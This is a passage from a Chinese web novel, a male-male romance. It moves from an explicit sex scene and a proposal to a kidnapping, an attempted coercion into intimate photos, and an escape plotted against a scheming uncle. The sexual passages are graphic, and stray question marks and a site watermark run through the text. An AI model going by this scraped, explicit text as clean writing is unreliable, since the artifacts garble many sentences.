徐矿一把扯过郁书青的手,强硬地?掰开蜷缩的手指。 郁书青使劲儿握着?:“你别……” 他没挣脱开,徐矿已?经?把他的手拉起来,捧到自己?心窝的位置,凑近了看。 那枚戒指,被?郁书青反着?戴了,不知用力握了多久。 所以?镶嵌的钻石,已?经?把柔软的掌心,硌出了血。 徐矿脸色变了,他抬头,目光移到郁书青的脸上,音调很冷:“你这是?在做什么?” 郁书青吞咽了下,强撑心虚地?瞪过去:“不小心而已?……” “非主流。” 徐矿斩钉截铁道:“还很中二?。” 郁书青立马炸毛:“不许这么说我!” “那我说你什么,嗯?” 被?按在墙上,原本空间就很狭窄,被?男人高大的身躯再次逼近,郁书青几乎都要呼吸不畅,生硬地?别过头去:“随便你说什么,反正?……不许这样说我……不行,你也不许说话,我要睡觉了!” 膝盖被?挤开,徐矿强硬地?撑住他的身体:“好,那你安静,听我说,行吗?” 郁书青偏着?脸:“我不听。” “宝贝,” 他听到了一声叹息。 “你弄的我好难过。” 心脏被?攥住似的,郁书青回头,撞上徐矿的眼?睛:“我……” 徐矿悲伤地?看着?他:“真的不听我说吗?” 夜里好安静,呼吸声都听得很清。 郁书青眼?圈泛红:“好,我听你说。” 说开吧,吵一架也行,即使徐矿说服不了自己?,他也愿意给对方一次机会,哪怕暴露出自己?丑陋的一面,也没关系了。 那么多年?不见,可能已?经?和徐矿喜欢的形象,相隔甚远。 温热的呼吸扑在耳畔,带来微妙的痒,郁书青不由?得呼吸一滞,抓紧了徐矿的衣襟。 然后,他就听见温柔的语调。 “非主流非主流非主流你真的好非主流……” 郁书青瞳孔紧缩,刚想抬头,就被?猛然堵住了嘴。 “来吧,”徐矿咬着?他的舌尖,“让我们用中二?的方式决斗吧,斩杀你的心魔!来啊郁书青!我不怕你!” 这人不要脸,边亲边吼,每次都卡在郁书青换气的时候。 “你混蛋……唔!” “混蛋怎么了,你就适合混蛋!和混蛋过一辈子不好吗!” “别、别咬那里……” “我想咬哪儿就咬哪儿,你不爽了也咬我啊,来!” 被?抱起的时候,郁书青剧烈地?喘着?气,目光发直,等等,他在生气啊,还打算和徐矿吵架啊,这是?干什么? 感觉自个儿的脑仁,都像是?被?横冲直撞地?捣碎,什么都无法思考。 “爽吗?” “……滚!” 水蜜桃果肉被?搅烂,散发出甜美的香。 徐矿气喘吁吁地?抬眸,咬着?郁书青的喉结:“要是?能到这里就好了……把你那乱七八糟的想法全部搞出去,看你这小嘴还会不会说出伤人心的话。” 郁书青说话断断续续:“你……你特么的以?为在穿串儿啊!” 徐矿抱着?他,边走边糙:“现在爽吗?” 郁书青伏在他的肩上,拼命摇头。 “来,宝贝,”徐矿哄他,逗他,“再说两句非主流的话听听?” 客厅里的光已?经?不见了,大约是?月亮也嫌羞,躲到云朵后面。 所以?他可以?尽情享受自己?的新娘—— 生人家的气,居然直接把窗纱扯了下来,刚才动静太?大,郁书青被?折磨到要疯了,徐矿把那蕾丝的轻纱盖在对方头上,说没事了,这下连我也看不到你的表情,想叫就叫吧。 长长的窗纱拖在地?面,映出圣洁的光。 可郁书青却不似新娘。 被?磋磨得狠了,徐矿没跟他客气,他也没跟对方客气,再次较劲,试图征服对方,徐矿大半个后背都被?他抓出血迹,而自己?的腰侧也全是?指印和齿痕。 还好最后被?盖住了眼?睛,不至于被?对方看到自己?的崩溃。 “说呀,”徐矿还抱着?他,“什么感觉,来,我可喜欢你刚那样非主流了,小家伙还挺带劲。” 郁书青没力气了,轻纱被?揉得乱七八糟,露出漂亮的一双眼?。 像是?融冰的春水,波光潋滟。 徐矿没忍住,凑过去亲:“说呀,什么感觉?” 郁书青呆呆地?看着?他。 “完蛋,”徐矿怜爱地?给人按怀里,嘟囔道,“被?糙傻了……” 话音落下,就被?不轻不重?地?打了一个嘴巴。 徐矿两眼?一亮,雀跃道:“你醒了!” “傻比,”郁书青微微喘气,“放我下来。” 徐矿给人托了托,理直气壮:“不要!” “太?深了,”郁书青垂着?脖颈,“滚……拿出去,我受不了。” 空气里满是?甜腻的气息,自从徐矿来这里住之后,家里备的东西可不少。 徐矿继续亲:“我好喜欢你冷漠地?说出这么刺激的话……” “快戳到嗓子眼?了,”郁书青面无表情,“要从嘴里冒出来了。” 徐矿愣了下,还有力气伸手挠挠头:“宝贝你也太?看得起我了,虽然我很厉害,但是?也没那么夸张啦!” 他满脸嘚瑟地?按在郁书青小腹上:“充其量,也就到这里……” “我说要从嘴里冒出来了,”郁书青掐着?对方的下巴,“快来,给老子听……别再动了!” 徐矿立马不动了,乖乖地?凑近。 郁书青缓了会,呼出一口?气。 “傻狗,我想通了。” “穿衣服,老子现在就要出去找。” 第73章 第 73 章 徐矿愣住, 呆呆地看?着?怀里的郁书?青。 他嘟嘟囔囔的,给人往上托了?托:“不?是,这?玩意也不?能中途暂停啊……” 郁书?青才不?管, 连滚带爬地就要跑, 他一动, 徐矿就被迫按着?对?方, 感觉自己像抱了?一条刚捞上岸的大鱼,活蹦乱跳, 搞得他手忙脚乱, 差点让郁书?青真的逃窜。 不?对?啊, 刚才不?是被糙傻了?, 呆乎乎的都不?会动弹了?吗? 徐矿咬牙切齿:“我还没好!” 男人就差最后这?一点了?,硬生生要给他推出去,也太可恶! 郁书?青瞪过?去:“我不?管!” 他感觉自己满脑子的旖旎, 酸楚, 自怨自艾都被徐矿一通王八拳给搞没了?, 什么狗屁的原谅与否, 遗落过?去的忧伤, 他就是想要回去找,找得到就开心,找不?到拉倒! 郁书?青不?想后悔了?。 徐矿按住对?方乱蹬的腿:“再给我两分钟……” “你放屁!你上次也是这?样说的!” 徐矿一脸复杂:“哥们,你讲不?讲理啊, 我现在让你爽一半了?拿出去, 你不?把我杀了??” 郁书?青冷笑一声。 如果是以前,他可能会纠结是不?是自己说错话了?, 惹对?方不?快了?,但?这?是徐矿!完全不?用带脑子, 敢不?做完就跑的话,多简单,拽回来自个儿—— “坐上去。” 徐矿大喇喇地往后一躺,压得床褥都陷了?两下?:“来,你自己来总行吧!” 两人彼此纠缠,互相扭打,又费了?不?少功夫,气喘吁吁地回到卧室,郁书?青累了?,也意识到今天不?给徐矿喂饱,自己也跑不?了?,干脆眼睛一闭,深吸一口气,感受自己下?落的膝盖,缓缓地在床褥上分-开。 “唔……” 徐矿双手撑着?郁书?青的胯,手背上的青筋都清晰可见:“你、你稍微控制一下?……!” 郁书?青完全不?去控制啊! 他现在脑子里只有一个想法,搞定徐矿! 卧室里发出很大的声音,徐矿的喉结吞咽着?,不?错眼珠地看?着?上方的郁书?青,这?么亲密的姿势,一往无前般的莽撞劲儿,眼神却像是要杀人。 徐矿的心砰砰跳。 妈呀。 好喜欢。 他没忍住地骂了?句脏话,但?肢体上却不?配合对?方,完完全全地交由郁书?青一个人发挥,嘴上还要忍不?住地咕哝,夸郁书?青可爱,夸人家有劲儿,还夸人家是会榨汁的小野猪。 这?些,郁书?青都忍了?。 他想好了?,随便徐矿怎么哔哔,赶紧弄完,如果最后这?两分钟还不?结束的话,直接嘴巴子抽过?去,让他感受到什么是爽。 郁书?青真的很努力。 终于结束。 他噌地一下?爬起来,往浴室跑:“快点,一块儿来冲个澡!” 徐矿有气无力地在后面跟着?:“宝贝,现在是贤-者时间……” 那?也不?行,郁书?青精神抖擞- 十五分钟后,徐矿踩下?刹车,脑子还有点懵,可旁边已经袭来了?冷空气,他讶异地扭头,只看?到了?打开的车门。 不?是,这?刚停稳呢…… 商量过?要不?要报警,或者借助些专业仪器,郁书?青说先等等,如果今天晚上实在找不?到的话,就进?行下?一步的计划。 冬天天黑得晚,在屋里闹腾了?整整三个多小时,这?会儿都是凌晨四?点的功夫了?,微亮的星子闪烁在夜空,像渴眠人的眼,泛着?疲倦。 郁书?青却精神昂扬。 车灯亮着?,正对?着?这?一大片的灌木丛,郁书?青还特意找了?手套带着?,认真地回想着?丢失时的方位,然后弯下?腰,每拨开一条横生的枝桠,都像是离那?个丢玩具的小男孩,更近一点。 徐矿跟在旁边,拿开碎砾石块。 良久,郁书?青抬眸:“是被人捡走了?吗?” “有可能,”徐矿看?着?他:“我们报警吧,然后也发个声明,如果有捡到的给重谢那?种,我再买俩热搜。” 郁书?青笑了?:“你还挺熟练。” 徐矿:“那?可不?。” 他俩坐在花坛边沿的位置,这?会儿天已经透着?点蒙蒙亮了?,徐矿侧着?脸看?郁书?青,对?方的表情倒是很轻松,没有之前在家时的阴沉,甚至还歪着?头过?来,冲自己眨了?下?眼睛。 “完蛋,”郁书?青还在笑,“我给你东西弄丢,你得赖上我了?。” 徐矿握住他的手:“赖上了?好。” “既然这?样的话,有没有戒指都无所谓吧,”郁书?青想了?想,“过?好当下?,才是最重要的。” 徐矿表情严肃:“没错,多说点,我爱听,我从小就喜欢喝心灵鸡汤。” “走开。” 郁书?青拿膝盖撞对方:“就你油嘴滑舌……嘶。” 可能是牵扯到肌肉了?,大腿-根那?有点抽着?疼,徐矿连忙起身?,在人家面前半跪下?去:“怎么回事,我看?看??” “跪的久了?,”郁书?青揉了?几下?,“还有就是,你往下?按的时候太用力了?。” 他大大方方的,倒是给徐矿弄得不好意思起来。 “小咪,”徐矿叫他,“下次多换点姿势。” 郁书?青“哼”了?一声:“走开。” “不?走,”徐矿看?着?他,“我永远都不?会走。” 他这?样半跪在郁书?青面前,两人差不?多是平视的状态,能够清晰地看?到彼此眼眸里的倒影,雪都融化了?,空气稀薄而冷冽,徐矿这?辈子见过?很多次的雪,冰岛的,兴安岭的,可都没有几个小时前的那?场雪,来得更令他心动。 “郁书?青,”徐矿又叫他,“我们结婚吧?” 当精神高度专注的时候,很难感受到时间的流逝,只能通过?听觉,触觉,或者嗅觉来知晓,徐矿不?知自己等了?多久,直到远远听到鸟鸣的声音,公?园里已经有人来锻炼了?,老大爷在甩鞭子,奶奶们在跳交谊舞,万物生灵都热闹而可爱。 他感觉自己握着?的手反过?来,也抓住了?自己,十指相扣,郁书?青低头,亲了?亲徐矿的脸。 说了?一声,好。 又过?了?一会儿,徐矿才抬手,摸了?摸自己僵掉的嘴角。 郁书?青已经站了?起来,很洒脱的模样:“没听见吗,那?拉倒……” “听见了?!” 徐矿“嗷”一嗓子站起来,从后面抱着?他:“两只耳朵都听见了?!” 他完全地飘起来了?,直接给人翻过?来,捧着?脸就开始亲,但?不?是缠绵的拥吻,或者缱绻的湿-吻,而是仿佛一只啄木鸟,在邦邦地敲击着?郁书?青的脸庞唇瓣。 郁书?青被他叨得脑壳发痛。 “走开!” 他给徐矿往外推:“再这?样我就后悔了?!” 徐矿死皮赖脸地抱着?人:“后悔没用,晚了?!你休想甩了?我!” 的确甩不?开,力气大又黏人,怎么赶都赶不?掉,乐呵呵的,永远用那?一双漂亮温柔的眼看?自己,嘴角全是笑意,把那?么满的爱拿给他看?。 郁书?青想了?想,觉得挺好的。 当初大雨倾盆,他抱着?受伤的大咪回家,如今冬夜凛然,他于秋天被徐矿捡到,就再也没能分开。 郁书?青笑了?起来,重复那?句话:“还以为?是一见倾心呢,没想到是久别重逢。” 徐矿给人抱怀里了?:“都好,反正不?管什么时候,不?管怎么样,你都会爱上我,对?吗?” 郁书?青闭上眼睛:“……嗯。” 徐矿:“嘤。” 搞得还挺感动。 他伸手,撸了?把徐矿的脑袋:“行了?,别哭了?。” 徐矿没抬头,把所有的呜咽都埋在了?郁书?青的肩膀上,弄得郁书?青有些嫌弃,努力往后挣:“你离我远点……” “不?行,”徐矿誓死不?动,“我要在你身?上留满我的味道。” 要不?是说好了?明天出发,他真的不?想走了?。 郁书?青沉默了?下?:“已经很满了?……” 这?哪儿够啊。 “行了?,”郁书?青受不?了?,“只有狗才这?样好吗,抱着?我一顿啃……你圈地呢!” 这?下?终于推开了?,郁书?青掏出纸巾,擦了?擦自己的脸颊,而腰再次被人抱住,耳边传来徐矿的气泡音,很深情—— “我就是你的小狗。” 郁书?青:“……” 有被恶心到。 闹腾完回去的时候,天边已经泛起鱼肚白,郁书?青懒洋洋地靠在座椅上,心情不?错,连徐矿的歌声都能忍受。 毕竟人快离开了?,就让让他吧。 “小咪,” 徐矿看?着?前方:“抱歉啊,原本是想陪你过?冬的,但?是我还是要出发,你放心,我等到过?年……” “没事,”郁书?青打了?个呵欠,“你有自己的事业。” 天地良心,他说这?句话的时候完全没有阴阳怪气的意思,纯粹就是觉得,漫山遍野的兴安杜鹃,日照金山的美丽灿烂,和?过?好当下?的自己,都同样值得徐矿去爱。 虽然也是刚想通,内心还有点小小的复杂情绪,没有完全消化,但?他知道,自己不?再孤单。 多了?一个家人。 是多了?一份的爱。 “宝贝,”徐矿却像是有些误会,紧张地回头,“因为?闫海平那?边很早就跟我说过?,有些事……” “我知道,” 车辆停下?,郁书?青把手放在徐矿的手背上:“去做你想做的事。” 他的无名指上,没有戒指的痕迹。 感受到视线后,郁书?青笑了?起来:“春天,河堤旁是不?是长满了?狗尾巴草?” 徐矿呆呆地看?着?他。 “我要狗尾巴草的戒指,”郁书?青歪着?头,“到时候你给我编。” 他向对?方许下?了?一个承诺。 徐矿看?了?会郁书?青的脸,也跟着?笑,说:“好。”- 第二天一早,送完徐矿后,郁书?青开车回到丢戒指的地方。 天气不?错,也一同看?过?了?初雪,没必要再长途跋涉地开车返程,郁书?青把人送到机场,又被啄了?好一会儿脸,这?会都觉得有些疼。 关于戒指的问题,没来得及报警,只是把消息发了?出去,安排有专门的工作人员进?行对?接。 但?郁书?青还想过?来转转。 因为?今天起得早,因为?清晨的天空格外好看?。 郁书?青已经没什么执念了?,打算简单地翻找两下?,就去旁边的公?园溜达一圈,门口还有家卖豆花的小店,昨天和?徐矿一起尝过?,味道不?错。 等再到周末,他就可以骑车去跑山,风尘仆仆地去看?看?父母,告诉他们,自己找到了?一个很好的爱人。 虽然最开始的时候,互相看?不?太顺眼。 但?…… “来都来了?,”郁书?青嘴角扬起,低头拿起一枚石块,“就这?样吧。” 寻找失物的消息还没发酵,这?里冷冷清清,偶尔能听见几声虫鸣,郁书?青站直身?子,使劲儿伸了?个懒腰。 不?找了?,去吃点热乎的。 毕竟今天的温度适宜,天气很好,腊梅已经萌出花苞,还有些不?知名的野草,也绽着?小小的花,在冬天的寒冷里,努力绽放自己的美丽灿烂—— 郁书?青怔住了?。 他揉了?揉眼睛,不?可思议地看?着?前方,像是在看?一个奇迹。 光芒一闪而过?,幸好被他发觉。 在灌木丛最下?面的杂草里,一朵浅黄色的花朵上,挂着?枚小小的戒指。 心突然跳得很快。 郁书?青屏住呼吸,闷头往灌木丛里钻,枝条擦过?厚重的大衣,发出轻微的“簌簌”声,旁边有拿扫帚的环卫工人经过?,好奇地看?向路边的花坛。 枝桠摇晃。 郁书?青跪在湿润的土壤上,小心地从花朵上取下?戒指,指尖还在微微颤抖,戒指应该是随着?动作被甩了?过?来,挂在灌木的叶子上,又随着?雪的融化而落下?,坠在了?草丛中,被抽出的花苞努力举起。 “谢谢……” 郁书?青握着?戒指,太用力了?,钻石已经硌进?掌心,眼泪顺着?下?巴滑落。 很丢脸,居然因为?这?种小事,在外面哭了?。 但?是—— 丢脸又如何呢? 他找到了?自己丢失的宝藏呀! 而就在同一时间,身?后响起了?脚步的沙沙声,郁书?青抽了?下?鼻子,用胳膊使劲儿擦了?把脸,正准备转身?的时候,却听见沉闷的一声重响。 以及眼前的一片空白。 第74章 第 74 章 昏暗的地下室内, 空气湿薄,泛着淡淡的腥味,和一丝发酵过头的酒香。 由于封闭性好, 这?股气味就更加明显, 汇合在一起, 蛰得郁书青喉咙发痒。 他没忍住, 咳嗽了几下,牵扯到了嘴唇上的伤口, 轻轻地“嘶”了一声。 好渴。 还有?眩晕感和痛。 可他无法挣脱被绑着的双手, 更没有?机会看向窗外?, 来判断目前的时间?, 身上已经被搜过,手机和腕表全部?被拿走,还被破布条蒙住眼睛, 什么都感知不到。 郁书青放缓自己的呼吸, 尽可能保全体力, 同时努力摩挲手背, 试图获得一丝可供挣脱的空间?, 尤其是—— 那枚钻戒没有?被摘下,还在他的手上戴着。 他能感觉到无名指上,冰凉的硬物。 徐矿对他的尺码估计不错,铂金戒圈严丝合缝地占据无名指, 郁书青的拇指可以摩挲戒指, 大大缓解了他的焦虑。 很想捏面包,捏那种软绵绵的东西?, 但如果没有?的话,坚硬的钻戒也?不错。 更庆幸的是, 没丢就好。 焦躁不安的情绪逐渐过去,郁书青安静地垂着脖颈,甚至还在思考,徐矿买的这?钻石够不够大,能不能在破窗的时候用到。 并不是说郁书青能有?多冷静,面对绑架还这?么宠辱不惊,实在是因为,他刚才受到的冲击太大了。 居然?因为头部?受到撞击,而?恢复了一些模糊的记忆。 以至于整个人都呈现一种呆滞的状态。 某种悄然?忘却的记忆恍若游鱼,在蛰伏了整个冬季后,终于随着冰雪的消融而?苏醒,缓慢而?坚定地汇入温暖的春水。 在车上的时候,郁书青就醒了。 他躺在后座上,眼睛和嘴都被蒙住,车辆不住颠簸,他闭着眼睛数起伏的坡道,大致判断出来,这?是进了山。 “……草。” 地下室味道实在难闻,郁书青在心?里低低地骂了一声,他蜷曲着缩在角落的位置,森*晚*整*理除了干渴之外?就是冷,山里昼夜温差大,更何况是寒冷的冬季,身上的衣物完全不够御寒。 接下来该怎么办? 蒙住眼睛的布条偏薄,仔细往外?看的话,会有?一层浅浅的光感,郁书青就这?样半睁着眼,凝视那微茫的光晕,心?里空荡荡的。 不知过了多久,终于听到一声“吱呀”,脚步声也?跟着进来,踏上空荡的地面。 三个人。 郁书青静静地想。 有?一个人刻意把脚步放得很轻,寻常的局面下很难判断,但被束缚在这?里太久,听觉就格外?敏锐,郁书青屏住呼吸,等待脚步声在自己面前停下。 “混蛋玩意!” 随着粗鲁的叫骂,他的肩头被人不轻不重?地踹了一脚,而?另一道声音立马响起,语气里满是责备。 “你这?是干什么?不许动手打人!” 两人居然?当着郁书青的面,爆发起了争执。 “他算什么好东西?,老子凭什么不能打他?吃着碗里看着锅里,能不收拾他吗?” “说不定有?内情呢,你不要冲动……我来就是劝你冷静一下的……” “冷静个屁!老子他妈的砍死他,大不了再进去蹲几年!” 地下室里响起回音,把吵架的音量拉得很大—— 还没认出来吗? 高元忐忑地吞咽了下,按理说,不久前才和郁书青对话过,对方应该能听出他的声音,所以,为什么还没有?反应? 俊美?的青年哪怕额头有?血,身上沾染灰尘,也?依然?脊背挺拔,神?情矜贵。 只?是一眼,高元就匆忙地撇开目光,和眼前凶狠的男人对视,突然?心?头一跳。 他想,我在慌什么? 对方还在骂骂咧咧,高元终于回过神?来,继续道:“无论如何,这?肯定是一场误会,你先上去喝点?酒,我再问问。” 那个男人狠狠地瞪过来一眼,“哼”了一声,扭头就走。 高元呼出一口气。 他很讨厌和这?种人接触,可为什么从小到大,自己身边围绕的都是这?种好勇斗狠之徒呢,鲁莽,蠢笨,轻轻推一把就会立马中计—— 地下室的门关?上了。 高元蹲在郁书青面前,仔细地端详对方的脸,试图从上面找到一丝的惊慌,可想象中的画面并未出现,这?么久没喝水,郁书青的嘴唇干裂起皮,衬得那枚小痣不再清晰。 “小咪……” 他轻声叫着:“别怕,我来救你了。” 说着,高元就伸出手,扯开了郁书青的眼罩。 即使地下室内光线昏暗,郁书青也不由自主地拧了下眉,没有?立刻睁开双眼。 “是我啊,”高元继续道,“你和徐矿的朋友,还记得吗?” 他努力放柔声音,展现自己的善意:“我也是偶然经过这?里,才知道李昂做出这?种糊涂事,你别害怕,有?我呢。” 郁书青的睫毛,终于抖了两下。 “你是不是不知道李昂是谁,”高元继续道,“没关?系,我告诉你……这?里面肯定有?误会。” “记得。” 郁书青抬眸看来:“闫妍的男朋友。” 当初二叔逼他结婚,推出一个大学刚毕业的姑娘,人家还不是单身,不过恋情遭到了家里的反对,因为对方蹲过号子,脾气不好,于是竭力反对他们,弄得闫妍很痛苦。 可李昂却认为,是郁书青故意把闫妍灌醉,他气得破坏监控,溜进公司的地下车库,拿刀指着自己,说你他妈以为自己有?点?臭钱,就不要命了,敢欺负我女朋友? “现在的问题就是,小姑娘清醒了,”高元压低声音,“死活要跟他分手,他就以为是你在背后搞鬼……” 郁书青挑了下眉,不怎么高兴的样子,眼睛四下看了一圈。 地下室里没什么多余的东西?,角落放着一排酒桶,是山里人储存粮食的地方。 “当然?,”高元咳嗽一声,“你是和徐矿结婚了,可徐矿这?人你也?知道,嘴巴大,什么都往外?乱说,说你们没感情之类的,所以这?话传出去,李昂以为你俩只?是协议婚姻,你还在勾搭他女朋友。” 他语气真诚,脑海里清晰地浮现李昂当时的表情。 染着黄发的男人蹲在街角,目光阴沉:“怪不得闫妍变心?,原来还是打算攀高枝啊,呵呵。” 话音落下,郁书青嗤笑一声。 高元蹲在他面前,很为难的样子:“你知道的,这?种人是亡命之徒,咱们也?很难和他……” 郁书青突然?开口:“你怎么知道的,还了解这?么清楚?” 高元早有?预料似的:“我也?不瞒你,小咪,我拿你当朋友才说的,闫妍也?是我家的亲戚,所以我认识他们俩。” “那也?就是说,你和我婶婶是一家的,”郁书青仿佛愣了下,“你认识我二叔?” “不认识,”高元摇头,“关?系太远了,只?是听说过。” 地下室里又陷入沉默。 郁书青不开口,高元也?斟酌着语言似的,过了会儿?,才结结巴巴地开口:“现在有?个方法,能打消李昂的顾虑,就是不知道你……” 他眼神?有?些飘,喉结也?滚动了几下。 “就是让李昂以为,你真的是gay,对女人没有?兴趣,这?样他就知道是场误会,会放了你……我也?不想给事情闹大,真没想到……你看看!怎么能干出绑架这?种事呢!” 高元说这?些话的时候,一直在观察郁书青的表情。 和他想象中一样,发愣,有?些呆滞。 人在饥饿和干渴的状态下,大脑的反应能力会变慢,对很多事情的思考无法和正常时相提并论,更何况对生的渴望能战胜一切,就像溺水的人,哪怕递过去一把刀子,都会毫不犹豫地抓住。 高元很有?信心?。 至于徐矿,就更好办了,他亲眼见到郁书青给人送进机场的,兴安岭那边也?传来消息,说对方已经到达。 郁书青已经被关?在这?里一整天,差不多是时候了。 “要是简单的图财,很简单,”高元不动声色地挪着脚步,离郁书青的距离又近了些,“咱就当破财免灾了,可李昂那人你不知道,十来岁就辍学的主,街头混混,脑子完全一根筋,上次就是因为捅人,故意伤害进去的。” 他闭上了嘴,不再说话,而?是看着郁书青的眼睛。 果然?,郁书青的眼眸像浮起一层雾,有?所动容。 “然?后呢,”对方声音很哑,有?气无力的样子,“你怎么打算?” 高元做了个深呼吸:“就是,咱俩弄点?亲热的图片,让李昂以为你只?对男人有?兴趣……放心?,我不是gay,所以你也?不用介意,等出去后就给照片删了,这?误会不就解除了?” 郁书青垂着睫毛:“亲热的照片?” 高元连忙道:“你要是不放心?,我就把手机给你,全部?交给你处理,肯定不会流露出去的……我就告诉李昂,我是深柜,不想让别人知道自己的性取向,所以才没说,看到你受苦实在忍不住,拍完后p一下背景和时间?,让他以为咱早就搞上了,那种傻子完全分辨不出来的。” 他目光灼灼:“怎么样,这?是最省力的办法了。” 郁书青还是垂着睫毛,犹犹豫豫的样子。 “都是朋友,”高元继续道,“你要是介意的话就算了,我回去后偷偷报警也?行,但我真的怕他出来后继续报复,光脚的不怕穿鞋的,被这?种人盯上,真的很恶心?。” “是啊,” 郁书青轻声道:“真的很恶心?。” 他说着就抬头,笑得很温柔:“那你给我解开,来吧。” 高元不由自主地舔了下嘴唇:“你放心?,不是多夸张的姿势。” 他绕到郁书青的身后,伸手去解绳子,李昂做事狠辣,用的工具也?是粗粝的麻绳,在车上看到的时候,高元就差点?叫出声,觉得这?么绑郁书青的话,肯定会给皮肤磨破。 果然?,白皙的手腕上是通红的勒痕,腕骨那个地方也?破皮了,血迹都已经干涸。 他低头去解郁书青脚上的绳索:“等会你一定要配合,千万别再出什么岔子了。” 本来就不打算给事闹大,在高元看来,伏击郁书青并给人绑了,实在是很冒险的一步棋,可当他知道的时候,已经晚了。 郁锋在副驾驶抽烟,表情阴沉,半晌没有?说话。 “你图色,我图财,”身为长辈的男人把烟头碾了,“互不干涉,所以你他妈的要是敢闹大了,就别想活着出去。” 高元不停地吞咽着,可还是口干舌燥。 他想,我就拍几张照片而?已,给自己的青春弥补下遗憾,别的绝对不牵扯进去! 郁锋甭想给他也?拖下水! 得以自由,郁书青站起来,身形踉跄了下,才勉强站稳。 “我头上的伤没事吧,”他活动着手腕,“能后期给p掉吗?” “能!” 高元拿出手机,满脸殷勤:“要是不放心?的话,你来拍就好。” 地下室里信号都屏蔽了,他不相信郁书青能做出什么动作,即使有?别的想法,也?无济于事。 郁书青倒是不客气,真的朝他伸出手:“那我来拍吧?” 高元短暂地顿了下,咬牙道:“行!” 递过去的时候,他也?跟着凑近:“你想摆什么亲热的姿势,亲一下脸成吗……” 高元想过,最坏的后果就是郁书青拿到手机,拼命地往外?拨电话,如果真的这?样也?挺好的,能看到对方绝望的表情。 他很喜欢看那样的郁书青。 可郁书青微笑着接过手机,没有?任何停留,下手又快又狠,使劲儿?砸向他的脸—— “砰!” 高元被砸得鼻腔一酸,血瞬间?就涌了出来,耳畔轰鸣。 而?郁书青把手机一丢,没有?选择往地下室的台阶处跑,而?是转身跑向倒着的酒桶,敏捷地踩上去,朝着那扇狭小的窗户,毫不犹豫地举起右拳。 镶嵌了钻石的戒指闪过耀眼的光。 而?四溅的玻璃碎片,在此刻也?和钻石一般灿烂。 第75章 第 75 章 和外表不同, 郁书青其实挺能?打的。 得益于他一言不合就开干的少年时期,和工作后的良好作息。 尤其是很多技巧不并非来源于健身房的格斗班,而?是从实战中磨练出来, 所以除了?如何快速地攻击对方, 郁书青清楚怎么做, 能?最大?限度地降低对自己的伤害。 所以他用硬物砸向了?高元的鼻子, 也在?冲出窗外的时候用外套尽可能?地裹住脑袋,保护头部。 ……实在?经不起?再摔了?。 呼啸的风声裹挟着玻璃碎片, 在?夜幕中发?出刺耳的声音, 郁书青没有丝毫停留地在?地上?翻滚了?好几下?, 爬起?, 向前跑去。 前面是大?山。 黑黝黝的山峰恍若张着嘴的巨兽,露出满口嶙峋的怪石,能?见度太低了?, 郁书青身上?没有可供照明的东西, 手里还握着一片碎玻璃, 这个时候也顾不得会不会划破手了?, 他跑的急, 嗓子疼得厉害,但是眼神明显地亮了?起?来。 郁书青对这条山路不陌生。 无数次的黎明或者深夜,他都在?这里感?受着风声,伏在?高速前行的摩托上?, 肢体放松, 骨子里的叛逆全部飙出,从他想明白无论自己再怎么乖, 也改变不了?发?生过的事之后,郁书青就对这个世界看淡了?。 去他大?爷的。 他从初中开始, 偶尔和人打架,那场车祸后,郁书青彻底放过了?自己,他不再遵循“要乖”“要省心”的原则,开始去争取,去抢,为了?目标不回头地前进,而?不是躲在?爷爷奶奶的羽翼之下?。 “呼、呼……” 郁书青奔跑向前。 视线终于逐渐适应,能?看清楚前方婆娑的树影和小道,郁书青拨开横生的枝桠,跳进茂密的灌木丛时,巨大?的引擎声响起?,远光灯照得天空都变了?颜色,被惊醒的鸟雀扑着翅膀掠起?,很快消失在?墨色的夜空。 郁书青半跪在?地上?,被影影绰绰的灌木所遮挡。 喇叭声响了?几下?,接着,就是嘈杂的脚步声。 “小咪,你在?哪儿??” 郁锋的声音很急切:“你能?听见吗?” 不仅于此?,警笛声也由远及近地传来,郁锋继续高声叫道:“别害怕,我和警方已经过来了?,你安全了?!” 郁书青一动不动。 透过枝叶,他能?看到自己叔叔气急败坏的模样,他俩关系一般,郁书青从小就对这个长辈不亲近,童年时是由于本能?,以及醉醺醺的郁锋会踢开挡路的大?咪。 长大?后的郁书青,为什么会对叔叔避而?远之呢? 他全想起?来了?—— 父亲和叔叔是亲兄弟,却相差了?十来岁,先诞生的长子被家族寄予厚望,严格要求,那时候郁为民?太年轻,并不认为自己的做法有什么不对,等到过了?三十五岁,看到沉默孤僻的儿?子时,突然心生愧疚。 他们决定补偿,决定不再这样对待下?一个孩子。 对于长子的内疚,人到中年心态的转变,以及再次生育时郁雪玲的痛苦,使?得他们很珍惜自己的小儿?子,反正已经有长子继承家业了?,小的这个,就开开心心成长吧。 娇子如杀子。 太过纵容。 以至于郁书青出生后,郁锋非常不能?接受,他的身份转变了?,不再是家里最小,最受宠的孩子,而?是成为了?一个长辈,他那会儿?也就十五六岁,站在?人群后面,看到父母欣喜的表情,而?周围的宾客,把全部的祝福都给予了?那个婴孩。 郁为民?是一个好丈夫,某种程度上?,也算一个好父亲。 因为他及时地安抚自己的小儿?子。 这个时期的郁为民?,是人生中最幸福的阶段,事业有成,家庭美满,和相爱的人携手至今,又添了?个胖乎乎的小孙子。 他已别无所求。 小儿?子想要钱,想要车,都是身外之物罢了?,就像给郁雪玲买糕点,买全球限量的包和珠宝一样,郁为民?甘之若饴。 以至于发?觉不对劲的时候,已经晚了?。 “……我来晚了?!” 郁锋一边喊,一边给旁边的人使?眼色,示意对方小心地向灌木丛包抄。 “怪我不好,叔叔一开始逼你结婚,结果招惹了?这么一个流氓,都怪我!救你的时候又来晚了?,小咪你没受伤吧?” 一个高大?的男人蹲下?,不动声色地指了?下?地上?的血迹,另只手还拎着砖块,在?地上?划出浅浅的痕迹。 郁锋会意,继续道:“可能?之前有些不愉快的事,但咱们是一家人,小咪你放心,现在?都安全了?!” 俩人关系不好,发?觉自己下?药的时候,这小兔崽子敢直接把烟头摁自己掌心,但郁锋知道,郁书青对家人心软,即使?牵扯到原则性的问题,也会竭力忍让—— 灌木丛动了?下?。 郁锋眯着眼睛,做了个挥手的动作。 他已经全部打点好了?,从最开始选择给郁书青介绍闫妍,就是因为对方有一个愚蠢易怒的男朋友,还进过监狱,是他最看不起?的社会底层人士,一切的发?展也很顺利,李昂真的被激怒,拿着刀去地下车库蹲郁书青——曾经有过节,所以被女朋友甩了后气不过,迁怒他人,也是可以理解的吧? 包括伏击郁书青,绑着人进山,郁锋都留下了证据。 全程没有脏自己的手。 他只是做了些暗示而已,李昂就真的以为,通过这种手段逼迫闫妍,对方能觉得自己很有男子气概,从而?回心转意。 很完美的计划。 